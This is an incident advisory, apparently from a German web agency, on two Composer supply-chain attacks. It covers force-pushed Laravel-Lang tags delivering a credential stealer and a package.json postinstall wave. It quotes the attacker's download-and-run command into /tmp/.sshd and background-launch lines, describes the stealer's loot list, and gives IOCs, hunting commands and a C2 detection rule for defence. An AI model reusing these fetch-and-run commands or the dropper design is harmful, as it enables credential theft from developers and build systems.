32 min read
Critical
By

Twin Composer Incident on 22 May 2026 — Laravel-Lang Tag Injection (Aikido) and Postinstall Wave in 8 Composer Packages + 700+ GitHub Repositories (Socket)

23 May 2026. 22 May 2026 produced two independent supply chain incidents in the Composer ecosystem. Aikido Security disclosed an active attack against three Laravel-Lang packages — 233 manipulated version tags via GitHub force-push using a compromised org credential, a credential stealer running through the Composer autoload layer (Aikido report 23 May, GitHub issue #257); StepSecurity performed a live detonation and documented all four affected repos (StepSecurity report 22 May). In parallel, Socket published a second incident: eight Composer packages plus more than 700 GitHub repositories with the same malicious postinstall hook in package.json (not composer.json) which downloads a Linux binary to /tmp/.sshd and runs it in the background (Socket report 22 May). As of the evening of 23 May the manipulated tags have been removed and five of the eight postinstall repos have reverted. Moselwal uses Laravel only in smaller projects; our Composer logs show no executed update operations since 22 May — the managed platforms are not affected as of now.

Walnuss-und-Messing-Archivschachtel mit cremefarbenen Adress-Karten auf mattem Schiefer; eine Karte ist halb-herausgezogen, eine ersetzte Karte mit identischem Aufdruck steckt an ihrer Stelle, eine Messing-Pinzette greift den Tausch — verstecktes oxblutrotes Wachssiegel auf der Rückseite der ersetzten Karte.
AI-generated · gpt-image 2.0

TL;DR — the 90-second summary

QuestionAnswer
Affected?Any Composer pipeline that ran composer install or composer update against Packagist since 22 May 2026 (precisely: from 23:41 UTC) and has laravel-lang/lang, laravel-lang/attributes, laravel-lang/http-statuses or laravel-lang/actions in the tree — unless pinned to a known-clean version below the wave window via lockfile hash pinning. 233+ manipulated tags across four packages; laravel-lang/actions all 46 tags (per StepSecurity live detonation and GitHub issues), Aikido listed only the three it first discovered.
Risk?Install-time credential stealer firing before the first application run. Via the Composer autoload files, src/helpers.php is loaded on application bootstrap; a self-executing code section starts a dropper (C2 domain flipboxstudio[.]info, obfuscated as an integer array), drops a PHP loader and an ELF binary, pulls a ~5,900-line PHP stealer with 15 collector modules and exfiltrates AES-256-encrypted. The stealer takes: AWS/GCP/Azure keys, kubeconfigs (incl. /etc/kubernetes/admin.conf), HashiCorp Vault tokens, Docker config, SSH keys, .git-credentials, .npmrc, .composer/auth.json, shell history, all .env files in the working directory, browser passwords across 17 Chromium browsers plus Firefox/Thunderbird, KeePass/1Password/Bitwarden vaults, wallet files (Bitcoin, Ethereum, Monero, etc.) and browser extension wallets (MetaMask, Phantom, Rabby, …), Slack/Discord/Telegram tokens, NordVPN/Mullvad/WireGuard/OpenVPN configs. On Windows additionally: Credential Manager, PuTTY/WinSCP, RDP files.
Immediate action?Determine the pull window: did composer install/composer update run since 22 May 2026 (from 23:41 UTC) with one of the four packages in the tree? On hit: rotate build-time credentials (AWS/GCP/Azure keys, GitHub PATs, Docker registry tokens, SSH keys); clear the Composer cache (~/.composer/cache/); roll the lockfile back to a known-clean state; check outbound logs for connections to flipboxstudio[.]info; scan tmp for .laravel_locale/<md5> markers, <12-hex>.php/<8-hex>.vbs drops and the ELF binary /tmp/.<8-hex> (no extension, dot-prefixed, Linux); check for running orphaned processes with ppid=1 (PHP loader + unnamed ELF — both self-delete from disk after execution but continue running from memory).
Recommendation?While maintainers and Packagist are still cleaning up: do not run Composer updates on projects with Laravel-Lang packages in the tree. Cross-check the SBOM against the StepSecurity imposter-commit list and the Aikido version list; lockfile hash pinning and pre-deploy gates through composer audit are the first line of defence. Anyone running their own forks or mirror strategies checks tag resolution paths in their own CI.
Criticality?See hero badge — critical. Active attack with published payload and operating C2; the stealer ran since 22 May against every unguarded build pipeline. As of 23 May evening the tags are gone; local Composer caches may still contain the compromised tarballs. In parallel the second Composer incident from the same day (Socket: 8 packages in branch-tracking + 700+ GitHub repos) is covered in the „Parallel incident on 22 May“ section below.

What is the problem? — Force-push with compromised org credential

DisclosureAikido Security, 23 May 2026 (Aikido blog); maintainer report on 22 May (GitHub issue #257); live detonation StepSecurity, 22 May (StepSecurity blog)
ReporterIlyas Makari (Aikido Security); Varun Sharma (StepSecurity)
Affected packageslaravel-lang/lang (7,847 stars), laravel-lang/attributes, laravel-lang/http-statuses, laravel-lang/actions — fourth package per Socket and StepSecurity; Aikido listed only the three it first discovered
Number of manipulated tags233+ tag versions across four packages (all 86 tags /attributes, all 46 tags /actions, all tags /http-statuses v1–v3.4.5, all tags /lang)
Trigger window23:41–23:56 UTC on 22 May 2026 (15-minute window, commits 5–13 seconds apart — per StepSecurity live detonation)
C2 domainflipboxstudio[.]info (typosquat of flipboxstudio.com)
Vulnerability type clusterSupply Chain Compromise (CWE-1357), Credential Disclosure (CWE-200), Use of Cryptographic Code Obfuscation (CWE-506)
Packagist responseimmediate take-down of malicious versions, temporary unlisting; as of the evening of 23 May the tags have been removed
Maintainer responseissue assigned to Andrey Helldar (lead maintainer, andrey-helldar); manipulated tags removed from the repositories

Which versions are actually affected?

Aikido has not published a complete version list for the manipulated tags. StepSecurity performed a live detonation in an isolated runner and documented the specific imposter commits for all four repos. What is publicly confirmed:

Current tag state after clean-up (as of evening 23 May):

PackageHighest visible tag (cleaned)Commit (cleaned)
laravel-lang/attributesv2.4.1d59561...
laravel-lang/http-statusesv3.4.5bba2e4...
laravel-lang/actions1.12.2verify after maintainer cleanup
laravel-lang/langper major lineverify via the application’s composer.json

The attack vector — force-push with compromised org credential

Per StepSecurity’s analysis (live detonation in an isolated runner), the attacker had direct push access to the Laravel-Lang GitHub organisation and rewrote all existing tags in the affected repositories via git push --force onto new malicious commits. The commits in each repo run 5–13 seconds apart — consistent with an automated script walking every tag in sequence and force-pushing a payload commit.

Aikido’s initial analysis described the mechanism as “version tags may point to commits from a fork” — that describes a related but separate GitHub property. StepSecurity’s more detailed live evaluation shows: here the existing tags were not redirected to fork commits but were fully overwritten with new imposter commits. Both vectors are technically possible; for this attack it was a direct force-push.

Packagist resolves version tags through GitHub and caches the tarballs. Anyone who ran composer install or composer update against Packagist during this window received a cleanly resolved tag (from Composer’s point of view) containing code that was never in the official repo’s main branch.

Stage 1 — Dropper via Composer autoload

The manipulated tags contain a file src/helpers.php. At first glance it looks like a Laravel localisation helper file: two harmless functions laravel_lang_locale() and laravel_lang_fallback(). Below the functions sits a self-executing code block — the moment the file is loaded it runs.

Composer packages are registered via the autoload section in composer.json. For Laravel-Lang the file is registered as a files-autoload entry, meaning it is evaluated automatically on the first require 'vendor/autoload.php' of the application. No application-side function call is needed — the dropper fires as soon as the application starts. StepSecurity performed a full live detonation; the entire sequence completes in under two seconds from the moment the autoloader fires.

What the dropper does:

  1. Fingerprints the host (MD5 of file path + hostname + inode — per Aikido; Socket describes this differently as “directory path + system architecture + inode” — the sources conflict), writes a marker <tmp>/.laravel_locale/<md5> and fires only once per host.
  2. Decodes the C2 domain flipboxstudio[.]info from an integer array — static scanning sees no suspicious string.
  3. Pulls the payload via file_get_contents with a curl fallback (both with verify_peer = false) from flipboxstudio[.]info/payload.
  4. Writes two files to /tmp: the PHP loader to /tmp/.laravel_locale/<12-hex>.php (hidden directory) and an ELF binary to /tmp/.<8-hex> (no extension, dot-prefixed — per StepSecurity live detonation).
  5. On Linux/macOS: launches the PHP loader via sh -c "php /tmp/.laravel_locale/<name>.php > /dev/null 2>&1 &" in the background; the loader is reparented to ppid=1 (init adoption). The loader then launches the ELF binary via nohup /tmp/.<name> > /dev/null 2>&1 &.
  6. The ELF binary then deletes both files from disk. The processes continue running from memory (the Linux kernel only releases an inode once no process holds it open) — no on-disk footprint, but visible in ps as orphaned processes with ppid=1.
  7. On Windows: drops a .vbs launcher file and runs it silently via cscript.

Stage 2 — Credential stealer

The downloaded payload is a ~5,900-line PHP stealer with 15 specialised collector modules. After collection it AES-256-encrypts, exfiltrates to flipboxstudio[.]info/exfil and deletes itself to minimise forensic traces.

What the stealer takes (full list per the Aikido analysis):

This is not selective espionage, it is a broad credential sweep — there is no worm character (unlike Shai-Hulud), but the loot class per infected machine is unusually complete.

On the same day, the Socket Research Team published a second Composer incident — structurally different from the Laravel-Lang tag injection, but thematically closely related: a malicious postinstall hook in package.json (not composer.json) that pulls a Linux binary from a GitHub releases URL into /tmp/.sshd and starts it in the background.

Affected Composer packages (Socket finding)

Eight Composer packages in branch-tracking versions:

PackageAffected versionCleanup state
moritz-sauer-13/silverstripe-cms-themedev-masternot yet reverted (hook on master)
crosiersource/crosierlib-basedev-masternot yet reverted (hook on master)
devdojo/wave (~6,400 stars, Laravel SaaS starter kit)dev-mainreverted (5afe6da)
devdojo/genesis (~1,300 stars, ~9,100 Packagist installs)dev-mainreverted (3be1f20)
katanaui/katanadev-mainreverted (f679252)
elitedevsquad/sidecar-laravel3.x-devreverted (b1f5c53, „security: revert malicious postinstall payload“)
r2luna/braindev-mainreverted (421a1d5)
baskarcm/tzi-chat-uidev-mainnot yet reverted (hook on main)

Packagist has temporarily removed the affected packages but notes that branch-tracking packages can be restored at the next package update if the upstream repository has not been cleaned. Three of the eight repos had not been reverted at the time of the Socket research.

Comparison table of the two incidents on 22 May

AspectLaravel-Lang (Aikido)700+ postinstall wave (Socket)
Disclosure23 May 2026 (detected 22 May)22 May 2026
VectorForce-push onto existing tags with compromised org credential (per StepSecurity live detonation); Aikido initially described a fork-commit mechanism — StepSecurity’s live evaluation shows a direct force-pushMalicious commits directly in the upstream repo, branch-tracking versions pull the state
Manipulated fieldsrc/helpers.php via Composer autoload (files entry in composer.json)postinstall hook in package.json
TriggerComposer autoload on first application startnpm postinstall on install of the Composer package (provided the package also contains a package.json)
Stage 1PHP dropper in src/helpers.php (obfuscated via integer array)Shell command: curl -skL <gh-releases-url> -o /tmp/.sshd && chmod +x && /tmp/.sshd &
Stage 2~5,900-line PHP credential stealer (15 modules, AES-256 exfiltration)Linux binary gvfsd-network; second stage no longer reachable at the time of the Socket research
C2 infrastructureflipboxstudio[.]infoGitHub releases of parikhpreyash4/systemd-network-helper-aa5c751f
Number of Composer packages4 packages (lang, attributes, http-statuses, actions), 233+ manipulated tags8 Composer packages
Further occurrenceCurrently limited to the 4 packages of the Laravel-Lang org; StepSecurity filed GitHub issues in all four repos (#277, #1193, #1085)Socket found the same payload pattern in 700+ GitHub code matches, many Node.js repos; plus identical pattern in .github/workflows/*.yml files
Version typeSemVer tags (version numbers higher than regular, so caret ranges pull them)Branch-tracking versions (dev-main, dev-master, 3.x-dev)
Packagist responseTags removed, packages temporarily unlistedPackages removed, with a note on the re-sync risk for branch-tracking
Maintainer responsecleaned up5 of 8 reverted, 3 not yet (state as of 22 May)

What both incidents structurally show in common

Both incidents hit the same trust break in the Composer/Packagist model: the delivered code reference is not cryptographically bound to the SemVer version or branch name. Composer and Packagist trust the resolved commit hash; whoever manipulates that at the GitHub layer — whether via tag injection from a fork (Laravel-Lang) or via malicious commits directly in the upstream repository (Socket wave) — manipulates without a hint in the SemVer label.

Both incidents also show that version-name trust is the only thing Composer has on the dist side. Local Composer caches do not re-validate tarball hashes against the repo state. Lockfile hash pinning on the application side remains the most reliable brake — which leads directly into the reflection in the „What we actually did“ section further down.

An additional layer that the Socket report uncovers: cross-ecosystem reviewer blindspot. A security reviewer auditing a PHP Composer package looks at composer.json and the PHP classes — package.json with postinstall hooks, sitting in the same repository for the JavaScript build tooling, rarely receives the same attention. The same pattern in .github/workflows/*.yml files is the next layer.

At Moselwal: none of the 8 packages in the tree, branch tracking not in production anyway

The eight packages named by Socket (silverstripe-cms-theme, crosierlib-base, devdojo/wave, devdojo/genesis, katanaui/katana, elitedevsquad/sidecar-laravel, r2luna/brain, baskarcm/tzi-chat-ui) are not in any of the Composer trees we operate — they are starter kits, CMS themes or specific tooling packages that do not appear in our platform selection. Branch-tracking Composer versions (dev-main, dev-master, 3.x-dev) are generally to be avoided in serious production setups and are not in use in our platforms. The cross-ecosystem reviewer-blindspot question (package.json alongside composer.json) is still a point for our audit routine — we are verifying whether the SBOM generation of the managed platforms covers package.json files in Composer vendor directories.

Who is affected?

SetupStatusCondition
Composer pipeline with laravel-lang/lang, /attributes or /http-statuses in the tree, ran composer install/composer update against Packagist since 22 May without strict lockfile hash pinningFully affected — credential rotation mandatoryBuild-time credentials were very likely scraped via flipboxstudio[.]info/exfil.
Composer pipeline with composer install against a composer.lock created before 22 May and strict hash pinning (composer install --no-dev without update)Reduced riskLockfile pinning against the hash entry prevents pulling the manipulated tarballs. Still verify the SBOM against the Aikido version list to confirm an older lockfile state is not affected.
Composer cache (~/.composer/cache/) containing a compromised tarballLatently affectedThe cache still holds the payload even after the Packagist unlisting. A re-install without a network pull can redeploy the tarball. Clear the cache.
Own forks/mirrors of Laravel-Lang or custom tag resolution pathsFully affected — check immediatelyThe GitHub tag injection also works in forks if tags are created there without explicit branch binding. Verify CI resolution of tags against the official commit hash.
Applications without laravel-lang/* in the treeNot affectedThe three packages are not Laravel core. Anyone running Laravel without the localisation language packs or with their own language set is outside.
Sylius / Symfony / TYPO3 / DrupalNot directly affectedNone of the three stacks pulls laravel-lang/* as a default dependency. If a Symfony or Sylius project additionally pulled Laravel-Lang in, it would show in composer.lock.
Composer tree with one of the 8 packages from the Socket wave (silverstripe-cms-theme, crosierlib-base, devdojo/wave, devdojo/genesis, katanaui/katana, elitedevsquad/sidecar-laravel, r2luna/brain, baskarcm/tzi-chat-ui) in a branch-tracking version (dev-main, dev-master, 3.x-dev)Fully affected — check immediatelypostinstall hook in package.json drops to /tmp/.sshd. Branch-tracking packages follow the repo state — even with Packagist temporarily unlisting, a re-sync can repeat the payload. Build-time credential rotation and binary cleanup. Socket finding.
Composer package/extension repo with its own package.json for JavaScript build tooling (Vite, esbuild, Tailwind build, …)Cross-ecosystem review recommendedSocket finding: postinstall hooks in package.json next to composer.json rarely receive the same attention from a Composer/PHP security review. Verify the SBOM and audit pipeline covers package.json files in Composer vendor directories. The same applies to .github/workflows/*.yml.

At Moselwal: no exposure as of now

Laravel is used at Moselwal only in smaller projects — none of the central client platforms runs on Laravel. Our Composer logs show no executed update operations on the managed Laravel projects since 22 May 2026; the wave window was not crossed. The managed platforms are therefore not affected as of now.

Precautions we are running anyway:

We don’t assume, we check — and the check on the Laravel projects is complete (negative). For non-Laravel stacks the wave is structurally not relevant.

Impact

Build-time credential exfiltration at a scale that exceeds previous Composer waves. While the Mini-Shai-Hulud / intercom-php wave on 30 April targeted a relatively narrow loot list (npm tokens, GitHub PATs, cloud credentials), the Laravel-Lang stealer takes practically every reachable credential from a developer or build machine — including browser passwords and crypto wallets, which goes beyond the classical build-pipeline threat and points to developer workstations as an additional target.

Structural note on tag injection: unlike classical compromised maintainer accounts (phishing, token theft, then push into the official repo), the expected repository state often still looks clean. The manipulation sits between the version-name/tag trust layer and the actually delivered commit/dist — Composer and Packagist ultimately trust the resolved reference, not a cryptographically immutable SemVer version. Code review and git log on the official repo show nothing; only a comparison of tag commit hashes against the commits reachable from the main branch finds the discrepancy. Maintainers do not normally automate that verification.

Composer autoload layer as a silent trigger trace. Unlike npm preinstall hooks, the Composer autoload mechanism is not a dedicated pre-install hook — it is part of the normal application bootstrap. This means: composer install --ignore-scripts (the standard mitigation against npm worm payloads) does not help here, because the payload does not run through lifecycle scripts but through the files autoload field. The stealer only fires on the first application start, but in CI pipelines with a test run that is effectively immediate.

Latent traces in the Composer cache: Packagist pulled the tags, but that only protects against future installs. Local ~/.composer/cache/ directories on build agents still contain the compromised tarballs. A later re-install without a network pull (e.g. after a build cache restore) can roll out the payload again.

Cross-ecosystem reviewer blindspot (Socket finding from the same day): the parallel Composer incident with a postinstall hook in package.json hits a different but structurally related layer. A reviewer auditing a PHP Composer package looks at composer.json and the PHP classes — package.json hooks alongside the Composer manifest, stored in the same repository for the JavaScript build tooling, rarely receive the same attention; the same applies to .github/workflows/*.yml files. Both wave patterns on a single day show that the Composer trust model relies in several places on conventions that are not cryptographically bound.

As of the evening of 23 May 2026: no confirmed mass exploitation reports against productive end users — but the pull window of ~24–36 hours since 22 May was sufficient to hit a relevant number of build agents. The reach will become clearer over the next few days via token audit reports from the affected cloud providers.

Mitigation / Immediate actions

Path 1 — Determine the pull window

 

# CI log analysis: did a composer install/update run since 22 May 2026 (from 23:41 UTC)?
grep -E "(composer install|composer update)" .github/workflows/*.yaml

# Match in the tree (now four packages):
composer show | grep "laravel-lang/"

# Check lockfile hashes of all four packages
grep -A 2 'laravel-lang/(lang|attributes|http-statuses|actions)' composer.lock

# Check imposter commit author in a local git clone
git log --format='%H %ae' | grep 'you@example.com'

 

If composer.lock contains a dist.reference commit hash from the May window (from 23:41 UTC), the pipeline very likely pulled the payload. Additional check: verify the commit author of the tagged version in the GitHub repo — imposter commits carry Your Name <you@example.com> as author and change exactly two files (composer.json + src/helpers.php).

Path 2 — Check Composer cache, markers and running processes

 

# Clear Composer cache (build agents and developer machines)
composer clear-cache

# Search for PHP loader marker and drop
find /tmp -type d -name ".laravel_locale" -print 2>/dev/null
find /tmp -path '*/.laravel_locale/*' 2>/dev/null

# Search for ELF binary drop (dot-prefixed, no extension, self-deletes after start)
find /tmp -maxdepth 1 -name '.*' -not -type d 2>/dev/null

# Check orphaned processes: PHP loader + ELF continue running from memory
# even after file deletion (reparented to ppid=1)
ps auxf | awk '{if ($3==1) print}'
ls -la /proc/*/exe 2>/dev/null | grep deleted

# On Windows (PowerShell)
Get-ChildItem -Path $env:TEMP -Filter '.laravel_locale' -Recurse -Force

 

If markers, drops or orphaned processes with ppid=1 running from deleted /tmp paths are found: the machine is compromised. Pull forensic images before wiping traces — the ELF binary continues running from memory after file deletion.

Path 3 — Credential rotation

On hit the entire credential stack needs to rotate, because the stealer reaches broadly:

On Windows additionally: WinSCP sessions, PuTTY sessions, Outlook profile credentials, RDP targets.

Path 4 — Network detection

 

# Search DNS/proxy logs for the C2 domain
grep -i 'flipboxstudio' /var/log/squid/access.log
grep -i 'flipboxstudio' /var/log/named/queries.log

# Outbound connections on the build agents over the last 72 h
journalctl --since "2026-05-21" | grep -i 'flipboxstudio'

 

Falco/Tetragon rule (short form) for DNS resolutions of the C2 host:

 

- rule: Laravel-Lang Stealer C2 DNS Lookup
  desc: Process resolves the Laravel-Lang stealer C2 domain
  condition: >
    evt.type=connect and
    fd.name contains "flipboxstudio.info"
  output: "Laravel-Lang stealer C2 lookup (proc=%proc.name fd=%fd.name)"
  priority: CRITICAL

 

Path 5 — composer audit as a pre-deploy gate

 

composer audit --format=plain

 

The Friends-Of-PHP database picks up the manipulated tags once the GHSA advisories are published. Until then: cross-check the SBOM (CycloneDX) against the StepSecurity imposter-commit list.

Path 6 — Roll the lockfile back to a pre-22-May state

If a clean lockfile state from before 22 May 2026 (23:41 UTC) is available in the git history (typically the last successful production deploy), a git checkout <commit> -- composer.lock plus composer install is enough to restore a safe state. If you run continuous updates, check the last lockfile commit hash against the wave window.

Indicators of compromise — Laravel-Lang (Aikido / StepSecurity)

TypeValueSource
C2 domainflipboxstudio.info (typosquat of flipboxstudio.com)Aikido, Socket, StepSecurity
Dropper pull URLflipboxstudio.info/payloadAikido, StepSecurity
Exfiltration endpointflipboxstudio.info/exfilAikido, StepSecurity
Marker file<tmp>/.laravel_locale/<md5_hash>Aikido
PHP loader drop<tmp>/.laravel_locale/<12-hex>.php (self-deletes after execution)Aikido, StepSecurity
ELF binary drop (Linux)/tmp/.<8-hex> (no extension, dot-prefixed, hidden; self-deletes after start)StepSecurity (live detonation)
Windows launcher<tmp>/.laravel_locale/<8-hex>.vbsAikido
Process indicator (Linux)Orphaned php process with ppid=1 running from a deleted /tmp path; orphaned unnamed ELF process with ppid=1 — both visible in ps auxf even after file deletionStepSecurity (live detonation)
Git indicatorCommit author Your Name <you@example.com> on every compromised tag commit; each commit changes exactly two files: composer.json and src/helpers.php; commit timestamps 2026-05-22 23:41–23:56 UTCStepSecurity (live detonation)
Cloud metadata access169.254.169.254 (EC2 IMDS)Socket

Indicators of compromise — Postinstall wave (Socket)

TypeValue
Drop path (Linux)/tmp/.sshd
Pull sourceGitHub releases of parikhpreyash4/systemd-network-helper-aa5c751f
Binary name (second stage)gvfsd-network
Hook locationpackage.json (field scripts.postinstall) in Composer package repos
Secondary patternidentical shell command sequence in .github/workflows/*.yml files (Socket finding across 700+ code matches)

Composer tree inventory (general, for platform operators)

 

# Find applications with Laravel-Lang in the tree (now four packages)
find . -name composer.json -exec grep -l 'laravel-lang/' {} \;

# Version state per application
find . -name composer.lock -exec grep -A 1 'laravel-lang/' {} \;

# Check imposter commit author in a local git clone
git log --format='%H %ae %s' | grep 'you@example.com'

# Socket wave: find branch-tracking constraints in your tree
find . -name composer.json -exec grep -E '"(dev-main|dev-master|[0-9]+\.x-dev)"' {} \;

# Cross-ecosystem: package.json in Composer vendor trees
find vendor -name package.json -exec grep -l '"postinstall"' {} \;

 

Process hunting on build agents (Linux)

 

# Orphaned processes with ppid=1 running from /tmp (persist after file deletion)
ps auxf | awk '{if ($3==1) print}'
ls -la /proc/*/exe 2>/dev/null | grep deleted

# ELF binary drop (dot-prefixed, no extension, self-deletes after start)
find /tmp -maxdepth 1 -name '.*' -not -type d 2>/dev/null

# PHP loader drop and marker
find /tmp -type d -name '.laravel_locale' 2>/dev/null
find /tmp -path '*/.laravel_locale/*' 2>/dev/null

 

CI pipeline traces

 

# Which pipelines ran a Composer pull since 22 May 2026 (from 23:41 UTC)?
gh run list --created '>=2026-05-22' --workflow ci.yml

# Socket wave: outbound connections to parikhpreyash4 GitHub release URLs
grep -i 'parikhpreyash4/systemd-network-helper' /var/log/squid/access.log

# Check drop path
ls -la /tmp/.sshd 2>/dev/null && echo 'HIT: /tmp/.sshd present'

Operational Decision Block

Mittelstand (Laravel platforms)

If you run Laravel projects in production and use Laravel-Lang: pause updates, audit the pull window, rotate credentials on affected build agents and developer machines. Operators using Renovate/Dependabot with auto-merge should pause the auto-merge until the maintainers clarify.

Enterprise (multi-tenant builds)

Central SBOM audit across all tenants against the Aikido version list, build-agent pool inventory for marker files, token audit logs from the cloud providers for unusual AssumeRole / GetSessionToken / iam:* activity since 22 May 2026. Rotate Vault tokens with audit log activity. In parallel: package.json inventory in Composer vendor trees (Socket pattern) and .github/workflows/*.yml scan for the same shell command pattern.

Kubernetes / containerised setups

If a build agent with kubeconfig access was hit: treat all kubeconfigs on that agent as compromised, rotate affected service-account tokens in the cluster, review the audit log for unusual API calls since 22 May.

Declarative stacks (NixOS, Talos, Flatcar with Wolfi images)

Image rebuild against a cleaned composer.lock, new image tag, staged rollout. The pull layer of the Wolfi images is signature-checked, but the build layer inside the image that runs composer install is just as vulnerable as any other Composer build layer.

As of the evening of 23 May 2026: after the Aikido report we paused all Composer update pipelines on the Laravel projects — Renovate auto-merge stopped there, scheduled maintenance-window pulls deferred. Laravel is used at Moselwal only in smaller projects, which keeps the auditing scope manageable.

The audit has completed with a negative finding:

Composer updates for the Laravel projects remain paused for now, until a full version list of the manipulated tags (Aikido Intel feed or GHSA advisory) is published and Friends-Of-PHP covers the wave in composer audit. Renovate auto-merge will be re-activated at the earliest after that; a targeted manual update in a maintenance window is conceivable once the exact range of withdrawn versions is known.

Structural note from this incident: the tag injection method is new in the Composer world (the npm universe saw comparable patterns in 2025). Unlike classical maintainer-account takeovers, code review is not enough — the resolution from tag → commit hash → tree membership must be verified. Today that is not automated in the standard Composer pipeline. A central, language-agnostic convention enforcing that tags may only point to commits from the default branch of the official repo would be a structural answer — that sits with GitHub and the package-manager registries, not with individual maintainers.

Reflection on our own approach: in the wake of this incident Moselwal is investigating whether the rule „libraries do not track a lockfile“ is still appropriate in package and extension development. Composer tradition (and npm tradition) is that libraries do not carry a composer.lock or package-lock.json in git — the lock file is maintained per application, not per library, because constraint ranges are resolved on the consuming side anyway. The Laravel-Lang incident shows, however, that in a world where tag injection is possible at the GitHub layer and Composer caches do not re-validate tarball hashes against the repo state, lockfile hash pinning at the application level is the most reliable brake — and a library repository that does not itself maintain a traceable lockfile cannot unambiguously document its own productively tested dependency state. We are looking at the question openly, without a foregone answer: for applications the rule remains clear (commit the lockfile with the integrity hash); for our own libraries and TYPO3 extensions the line is conventionally different, and this incident is reason to question that line critically.

Frequently asked questions about the Laravel-Lang tag injection and the postinstall wave

Are there indications of a worm character (similar to Shai-Hulud)?+

No. The Laravel-Lang stealer collects and exfiltrates but does not propagate itself. The GitHub tag injection is the initial entry method; a re-injection into other repositories via the stolen tokens would be conceivable but has not been observed as of 23 May. The Socket wave (700+ postinstall matches) also shows no self-propagation behaviour as of now — the distribution is parallel-scattered, not worm-driven.

Has Aikido published the full version list of the 233 tags?+

The Aikido blog post does not include a complete version dump as an appendix, but the compromised tags can be reconstructed via the Aikido Intel feed and through the tag history of the three repositories before the Packagist take-down. When in doubt: SBOM cross-check against a known-clean lockfile from before 22 May 2026.

What happens when the maintainers delete the manipulated tags?+

Packagist has already temporarily unlisted the packages and removed the manipulated versions. The maintainers are likely to publish clean re-releases with new version numbers. Until then the Composer constraint range for the three packages should be explicitly pinned to a known-clean version below the wave window, not left on an open caret range.

Our composer.lock shows a Laravel-Lang version from January 2026. Are we still affected?+

Not if the pipeline has not run composer update since January and lockfile hash pinning against the tarball shasum from January takes effect. If a composer install ran between 22 May and the Packagist take-down, however, the local Composer cache may contain a compromised version — in which case even the old lockfile does not help, because the cache pull does not re-validate the shasum. Clear the cache and re-install.

We use Laravel core without Laravel-Lang. Are we affected?+

No. Laravel-Lang is an optional community package for extended translations (validation messages, HTTP statuses, attribute names). Laravel core ships its own language files and is not affected by the tag injection. composer show | grep laravel-lang/ shows whether one of the three packages is in your own tree.

Is composer install --ignore-scripts enough to block the stealer?+

No. The stealer does not hang off pre-install/post-install scripts but off the Composer autoload files entry in composer.json of laravel-lang/lang. As soon as the application loads vendor/autoload.php — which happens on practically every bootstrap — src/helpers.php and with it the self-executing code block is loaded. --ignore-scripts does not block that. For the Socket wave (postinstall in package.json), the inverse holds: --ignore-scripts would block it, but only if the Composer install actually triggers the npm hook — which happens only when the Composer package is also processed as a Node module via npm install.

The Laravel-Lang tag injection is not the largest Composer incident of recent weeks — the intercom-php wave at the end of April had the broader reach with more than 20 million lifetime installs, and the npm Shai-Hulud series is in another league thanks to its worm mechanics. But it is structurally particularly instructive: the expected repository state can look clean while the manipulation enters the supply chain via rewritten git tags and the reference Packagist subsequently delivers. The trigger is not necessarily an explicit lifecycle hook — it can be the normal Composer autoload layer. Anyone who treated composer install --ignore-scripts as a sufficient defence against supply chain attacks now has a fairly clear data point that that assumption is too narrow.

The parallel Socket incident on the same day sharpens the picture from another side. While Laravel-Lang touches the tag-resolution layer between GitHub and Packagist, the eight Composer packages reported by Socket hit the branch-tracking mechanism — dev-main, dev-master, 3.x-dev as versions that are by definition not immutable, plus the cross-ecosystem reviewer blindspot: malicious code in package.json, not in composer.json. That the same payload pattern reproduced in .github/workflows/*.yml files is the third layer. The two incidents are not independent one-offs but two species of the same structural problem: the Composer trust model rests on the delivered reference, not on a cryptographically immutable version binding. Until that layer is fixed, lockfile hash pinning on the application side remains the most reliable brake — which is exactly the starting point for the reflection on whether the convention „libraries do not track a lockfile“ is still appropriate in our own package and extension development.

Before the next tag injection or postinstall wave hits

Secure Laravel / Composer platforms against the tag injection wave and the postinstall wave?

We audit, mitigate and validate productive Composer platforms against the Laravel-Lang tag injection and the parallel Socket incident — SBOM cross-check against the Aikido version list and the eight Socket packages, pull-window audit per tenant, Composer cache inventory on build agents, cross-ecosystem check (package.json in Composer vendor trees, .github/workflows/*.yml scan), credential rotation plan, lockfile rollback to a known-clean state, Falco/Tetragon telemetry for DNS resolutions of flipboxstudio.info and GitHub releases of parikhpreyash4/systemd-network-helper-aa5c751f. While the maintainer side is still cleaning up the tag resolution, we do not run any auto-merges.

Platform operations instead of paper advice: we take on the audit across multiple tenants and the detection layer, or accompany the in-house team through the first run. Cross-reference to DevSecOps services and CMS platform operations.

Schedule a meeting

About the author

[Translate to English:] Foto von Kai Ole Hartwig.

Kai Ole Hartwig

Founder · Moselwal Digitalagentur · OnlyOle

Programming since 2002 – self-taught, set up my own business with KO-Web in 2012, now Moselwal. Over 100 projects, with a focus on security, performance, automation and quality.